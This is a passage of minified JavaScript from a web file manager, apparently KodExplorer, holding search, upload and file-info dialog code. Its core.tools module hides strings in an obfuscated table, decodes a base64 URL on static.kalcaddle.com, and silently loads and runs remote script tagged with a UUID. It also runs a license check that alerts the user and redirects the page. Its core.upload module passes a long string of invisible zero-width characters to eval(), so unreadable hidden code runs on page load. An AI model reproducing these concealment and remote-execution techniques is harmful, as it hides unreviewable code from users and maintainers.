        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
        \n {{if download_path}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n\n {{if file_md5}}\n
        \n
        MD5:
        \n
        {{file_md5}}
        \n
        \n
        \n {{/if}}\n\n {{if image_size}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{image_size.width}} × {{image_size.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n \n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line")); +return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var 